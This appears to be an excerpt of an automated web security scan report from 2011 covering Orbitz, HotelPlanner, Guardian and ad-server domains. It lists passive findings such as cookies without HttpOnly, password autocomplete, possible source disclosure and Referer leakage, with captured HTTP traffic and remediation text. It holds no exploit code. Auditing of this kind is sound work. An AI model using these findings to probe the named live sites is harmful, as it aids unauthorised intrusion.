GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=1&width=1&adType=noframe&pos=1& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba921-22275-1014137345-2; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv001p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 920 Content-Type: application/x-javascript Cache-Control: private Content-Length: 920 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=1&width=1&adType=noframe&pos=2& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeb2623-25195-512556733-4; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 968 Content-Type: application/x-javascript Cache-Control: private Content-Length: 968 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=1&width=1&adType=noframe&pos=3& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:50 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeb2422-10899-784782887-2; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 920 Content-Type: application/x-javascript Cache-Control: private Content-Length: 920 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=1&width=1&adType=noframe&pos=4& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:50 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeb2623-25195-1628532852-6; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 920 Content-Type: application/x-javascript Cache-Control: private Content-Length: 920 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=336x600&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1317600406535&dsrc=7&height=600&width=336&adType=noframe&pos=external& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:47 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba024-14631-593577608-5; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 964 Content-Type: application/x-javascript Cache-Control: private Content-Length: 964 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=396x71&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:48 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba124-9960-1392791335-1; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv002p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 140 Content-Type: application/x-javascript Cache-Control: private Content-Length: 140 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=468x60_top&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1317600406535&dsrc=7&height=60&width=468&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:47 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba823-17416-868641521-4; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv003p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 1016 Content-Type: application/x-javascript Cache-Control: private Content-Length: 1016 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=519x150&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&dsrc=7&height=150&width=519&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:47 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba124-17043-1746758895-14; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv003p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly Content-Length: 17640
document.write(''); var imgSrc = 'http://www.orbitz.com/Marketing/Images/US/MERCH/expmod/orb/ORB_exp_Home_20110819.jpg'; var defaultHref = 'http://www.orbitz.com/event.ng/Type=click&FlightID=81494&AdI ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=728x90&CookieName=OSC&secure=false&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1317600406535&dsrc=7&height=90&width=728&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:06:49 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: NGUserID=aeba124-9960-1014433876-2; expires=Wednesday, 30-Dec-2037 16:00:00 GMT; path=/ AdServer: egadserv003p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" ntCoent-Length: 6546 Content-Type: application/x-javascript Cache-Control: private Content-Length: 6546 Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/;httponly
document.write('<META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html;charset=UTF-8\">\r\n<script src=\"http://www.revresda.com:80/DartRichMedia_1_03.js\"><\/script>\r\n<!-- Sniffer Code for Flash ver ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home/ HTTP/1.1 Host: www.sabreairlinesolutions.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.sabre.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home/ HTTP/1.1 Host: www.sabretravelnetwork.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=c&sourceid=chrome&ie=UTF-8&q=sabre+travel Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:22 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookies were issued by the application and do not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Tue, 01 Oct 2013 23:58:07 GMT; domain=.wtp101.com
s=!1762!2445!1731; path=/; expires=Tue, 01 Oct 2013 23:58:07 GMT; domain=.wtp101.com
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Tue, 01 Oct 2013 23:54:23 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
tuuid=f9bdca69-e609-4297-9145-48ea56a0756c; path=/; expires=Wed, 02 Oct 2013 00:03:21 GMT; domain=.wtp101.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:29:43 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 229491
The page contains a form with the following action URL:
http://www.hotelplanner.com/Login.cfm
The form contains the following password field with autocomplete enabled:
Password
Request
GET /Search/Index.cfm?City=Boston&InDate=10/04/2011&OutDate=10/07/2011&NumRooms=1&adults=1&State=Massachusetts&Country=United%20States&sc=IGoUGo HTTP/1.1 Host: www.hotelplanner.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=hotelplanner&grp=9701&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.hotelplanner.com%2FSearch%2FIndex.cfm%3FCity%3D%24%7Bcity%7D%26InDate%3D%24%7BdepartureDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26OutDate%3D%24%7BreturnDate%3Ad%3A%22mm%2Fdd%2Fyyyy%22%7D%26NumRooms%3D%24%7Brooms%7D%26adults%3D%24%7Badults%7D%26State%3D%24%7Bstaten%7D%26Country%3D%24%7Bcountryn%7D%26sc%3DIGoUGo&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=149&pos=5&aii=41baf401-e791-4c75-8143-e95891286e0a&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:10:06 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LANGUAGE=1;path=/ Set-Cookie: SOURCECODE=IGoUGo;expires=Sat, 31-Mar-2012 00:10:06 GMT;path=/ Vary: Accept-Encoding Content-Length: 225194
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:30:37 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58824
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <table cellspacing="0" cellpadding="0" align="left" id="Navbar"> <form action="/Login.cfm" method="post" name="frmLogin" target="_top"> <tr> ...[SNIP]... <input type="text" class="LoginInput" name="Email" > Password <input type="Password" class="LoginInput" style="width:110px;" name="Password"> <a href="javascript:document.frmLogin.submit();"> ...[SNIP]...
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
var pageType; function validateSearchFormURL(sURL, sActionAddOn) { var checkInField = document.getElementById('checkInDate'); var checkOutField = document.getElementById('checkOutDate');
HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: max-age=0,must-revalidate,s-maxage=300 Content-Language: en Content-Type: text/html; charset=UTF-8 Date: Sun, 02 Oct 2011 23:59:09 GMT Expires: Sat, 01 Oct 2011 23:58:44 +0000 Last-Modified: Sun, 02 Oct 2011 23:58:44 GMT Server: ECS (sjo/522B) Vary: Accept-Encoding X-Cache: HIT X-Goal-Flavors: ad970x40navbar,epleague Content-Length: 91057
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2 ...[SNIP]... </div> <?/* empty because this one does not have controls */?> <div class="clear"> ...[SNIP]...
/* * jQuery JavaScript Library v1.6.1 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizz ...[SNIP]... <%=(.+?)%>/g,"',$1,'").split("<%").join("');").split("%>").join("p.push('")+"');}return p.join('');";return new Function("ctx",B)}}}});$.registerModule({name:"hcom.common.form.modules.field_mgr",dependencies:["hcom.common.modules.emitter"],impl:function(){v ...[SNIP]...
/* * jQuery JavaScript Library v1.6.1 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizz ...[SNIP]... <%=(.+?)%>/g,"',$1,'").split("<%").join("');").split("%>").join("p.push('")+"');}return p.join('');";return new Function("ctx",B)}}}});$.registerModule({name:"hcom.common.form.modules.field_mgr",dependencies:["hcom.common.modules.emitter"],impl:function(){v ...[SNIP]...
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:07:44 GMT Server: Apache/2.0.52 (Red Hat) Last-Modified: Fri, 02 Jan 2009 03:19:06 GMT ETag: "27cbd7-20ed-6751be80" Accept-Ranges: bytes Content-Length: 8429 Connection: close Content-Type: application/x-javascript
/** * DD_roundies, this adds rounded-corner CSS in standard browsers and VML sublayers in IE that accomplish a similar appearance when comparing said browsers. * Author: Drew Diller * Email: drew.d ...[SNIP]... eturn p}('t K={16:\'K\',1L:G,1M:G,1d:G,2f:y(){u(D.2g!=8&&D.1N&&!D.1N[q.16]){q.1L=M;q.1M=M}17 u(D.2g==8){q.1d=M}},2h:D.2i,1O:[],1b:{},2j:y(){u(q.1L||q.1M){D.1N.2L(q.16,\'2M:2N-2O-2P:x\')}u(q.1d){D.2Q(\'<?2R 2S="\'+q.16+\'" 2T="#1P#2k" ?>\')}},2l:y(){t a=D.1k(\'z\');D.2m.1w.1Q(a,D.2m.1w.1w);u(a.12){2n{t b=a.12;b.1x(q.16+\'\\\\:*\',\'{1l:2U(#1P#2k)}\');q.12=b}2o(2p){}}17{q.12=a}},1x:y(a,b,c){u(1R b==\'1S\'||b===2V){b=0}u(b.2W.2q().1y(\' ...[SNIP]...
17. Referer-dependent responsepreviousnext There are 6 instances of this issue:
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
HTTP/1.1 200 OK P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: VM_USR=""; Domain=.intellitxt.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Vary: Accept-Encoding Content-Length: 11435 Date: Mon, 03 Oct 2011 00:00:30 GMT Age: 0 Connection: keep-alive
GET /intellitxt/front.asp?ipid=17560 HTTP/1.1 Host: goal.us.intellitxt.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ITXTCtxtHistOff=1
Response 2
HTTP/1.1 200 OK P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: VM_USR=""; Domain=.intellitxt.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Cache-Control: private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC" Access-Control-Allow-Origin: * Content-Type: application/x-javascript;charset=iso-8859-1 Content-Length: 282 Date: Mon, 03 Oct 2011 00:00:41 GMT Age: 0 Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head><title></title></head><body><p></p></body></html>
18. Cross-domain POSTpreviousnext There are 12 instances of this issue:
The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.
The page contains a form which POSTs data to the domain www.guardianbookshop.co.uk. The form contains the following fields:
keyword
author
Request
GET /football/manchester-united HTTP/1.1 Host: www.guardian.co.uk Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Sun, 02 Oct 2011 23:50:53 GMT Server: Apache X-GU-jas: 57-21851 X-GU-PageRenderer: Hypercharger Content-Type: text/html; charset=UTF-8 Vary: Accept-Encoding,User-Agent X-GU-httpd: 52 P3P: CP="CAO CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa CONa TELa OUR IND ONLi UNI PURi NAV STA PRE LOC" Content-Length: 91378 Connection: close
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
